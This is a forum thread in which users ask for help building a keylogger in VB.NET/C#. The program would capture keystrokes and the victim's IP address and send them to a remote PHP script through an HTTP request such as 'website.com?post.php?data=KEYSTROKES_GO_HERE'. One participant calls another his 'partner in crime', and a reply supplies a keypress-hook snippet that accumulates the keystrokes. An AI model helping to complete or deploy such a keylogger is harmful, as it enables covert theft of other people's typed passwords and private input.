Government Security
Network Security Resources

Jump to content

Photo

Vb.net 2k5 Packet Reading And Logging

- - - - - server
  • This topic is locked This topic is locked
4 replies to this topic

#1 warstoke

warstoke

    Private

  • Members
  • 5 posts

Posted 31 January 2006 - 12:26 PM

im trying to write a program to read the packets from a specific application and upload those packets as text files to a remote server

any ideas how i can do this
the only dev software i have at this time is visual studio 2k5 express

#2 wei

wei

    Specialist

  • Members
  • 110 posts

Posted 01 February 2006 - 03:57 PM

:wacko: uh... that's a 3-in-1! Where do you exactly need help? The sniffer? How to create a file? Or how to send a file via what? Can you be more specific what you're asking?

http://www.codeproje...arp/pacanal.asp

#3 warstoke

warstoke

    Private

  • Members
  • 5 posts

Posted 02 February 2006 - 08:30 PM

:wacko: uh... that's a 3-in-1! Where do you exactly need help? The sniffer? How to create a file? Or how to send a file via what? Can you be more specific what you're asking?

http://www.codeproje...arp/pacanal.asp

heh well packet sniffing and such has been made problematic because they are encrypted and im worse at encryption than programming so im making a key logger now i borrowed some code from vbkeylooger i found on another site converted it to .net and it works but their key logger was only intended as a demonstration and they didnt give any example of a way to store that information or transmit it to a remote server
but basicly what i want to do is make the key logger record its keystrokes for a short period of time(i figured out how to do that) place that information into a string variable lets call it Key$
now i want to grab the local computers ip address so lets call that ipadd$
now i want to use the webbrowser.url update to send that to a php script (already written and up on a server)
say site.url = http://www.site.com/post?,ipadd$,key$
but when i try to do this it errors telling me you cant convert system.string to system.url
or something like that


so actually what I'm asking is
1) how do i get the local IP address in VB.net 2k5
2) how can i pass the ip and key log to the URL

and yes the keylog should be very short at most 50 chars and that would actually be pushing it

#4 akumanz

akumanz

    Private First Class

  • Members
  • 22 posts

Posted 03 February 2006 - 11:23 AM

Yo it's your partner in crime Steph.

Oy we don't need ip so wtf? We don't give a stuff about the other users ip. All we want is basically for the program to log for a short while, then send and http request to

website.com?post.php?data=KEYSTROKES_GO_HERE

What needs to be done to pass the keystroke into that & the http request for it sent?

#5 linuxwolf

linuxwolf

    Corporal

  • Members
  • 173 posts

Posted 15 November 2009 - 08:34 PM

Yo it's your partner in crime Steph.

Oy we don't need ip so wtf? We don't give a stuff about the other users ip. All we want is basically for the program to log for a short while, then send and http request to

website.com?post.php?data=KEYSTROKES_GO_HERE

What needs to be done to pass the keystroke into that & the http request for it sent?


For each keypress event, you add the value to a variable, eg:
string keyStrokeLog = "";
private void keyPressHook(object sender, KeyPressEventArgs e)
{
keyStrokeLog += e;
}






Also tagged with one or more of these keywords: server